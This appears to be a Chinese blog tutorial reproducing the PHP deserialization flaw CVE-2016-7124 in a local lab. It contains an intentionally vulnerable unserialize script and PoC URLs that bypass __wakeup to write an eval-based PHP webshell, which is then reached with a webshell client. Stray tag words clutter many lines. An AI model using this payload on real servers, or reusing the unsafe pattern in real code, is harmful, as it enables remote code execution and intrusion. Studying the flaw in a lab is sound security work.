CVE-2016-7124php反序列化漏洞復現php
0X00漏洞緣由mysql
若是存在__wakeup方法,調用 unserilize() 方法前則先調用__wakeup方法,可是序列化字符串中表示對象屬性個數的值大於 真實的屬性個數時會跳過__wakeup的執行web
0X01漏洞影響版本sql
PHP5 < 5.6.25數據庫
PHP7 < 7.0.10apache
0X02漏洞詳情安全
PHP(PHP:HypertextPreprocessor,PHP:超文本預處理器)是PHPGroup和開放源代碼社區共同維護的一種開源的通用計算機腳本語言。該語言主要用於Web開發,支持多種數據庫及操做系統。PHP5.6.25以前版本和7.0.10以前的7.x版本中的ext/standard/var_unserializer.c文件存在安全漏洞,該漏洞源於程序沒有正確處理無效的對象。遠程攻擊者可藉助特製的序列化數據利用該漏洞形成拒絕服務。測試
0X03漏洞復現環境搭建this
使用Windows10操做系統,搭建phpStudy一鍵集成環境搭建web服務。spa
這裏須要將php版本設置爲有漏洞的版本。
我這裏使用的是php5.4.45+apache+mysql一鍵集成環境
0X04漏洞復現
搭建好後,咱們首先須要編寫測試腳本
測試腳本以下:
<?php class test{ public $name = "faairy"; public function __wakeup(){ echo "this is __wakeup<br>"; } public function __destruct(){ echo "this is __destruct<br>"; } } $str = $_GET["s"]; @$un_str = unserialize($str); echo $un_str->name."<br>"; ?>
腳本上標明接收s參數,對其反序列化後輸出name屬性的值。
編寫poc訪問該腳本:
Poc爲http://127.0.0.1/test2.php?s=O:4:"test":1:{s:4:"name";s:5:"fairy";}
訪問結果以下圖所示:
根據訪問結果能夠看到反序列化以前先調用了__wakeup 方法,再調用_destruct 方法。
將傳入的序列化數據的對象變量個數由1更改成2,頁面只執行了__destruct方法,並且沒有輸出name,是因爲反序列化數據時失敗沒法建立對象。
修改測試腳本以下:
<?php class test{ public $name = "fairy"; public function __wakeup(){ echo "this is __wakeup<br>"; foreach(get_object_vars($this) as $k => $v){ $this->$k = null; } } public function __destruct(){ echo "this is __destruct<br>"; $fp = fopen("D:\\phpstudy\\PHPTutorial\\WWW\\2333.php","w"); fputs($fp,$this->name); fclose($fp); } } $str = $_GET["s"]; @$un_str = unserialize($str); echo $un_str->name."<br>"; ?>
構造Poc進行寫入一句話木馬操做。
Poc爲:http://127.0.0.1/test3.php?s=O:4:"test":1:{s:4:"name";s:29:"<?php @eval($_POST['123']);?>";}
執行後結果以下圖所示:
在對應的文件夾找到剛剛寫入的文件,發現文件中內容爲空,沒有一句話木馬,說明寫入失敗。
失敗緣由爲:__destruct方法在調用時將name參數寫入wcute.php文件可是因爲__wakeup方法清除了對象屬性,因此在調用__destruct時已經沒有了name屬性,所以文件將會寫入失敗。
將Poc中對象屬性個數改成2繼續嘗試
Poc爲:http://127.0.0.1/test3.php?s=O:4:"test":2:{s:4:"name";s:29:"<?php @eval($_POST['123']);?>";}
執行後以下圖所示:
在對應的文件夾找到該文件發現文件中被寫入了一句話木馬。
如圖所示:
使用菜刀鏈接發現鏈接成功,以下圖所示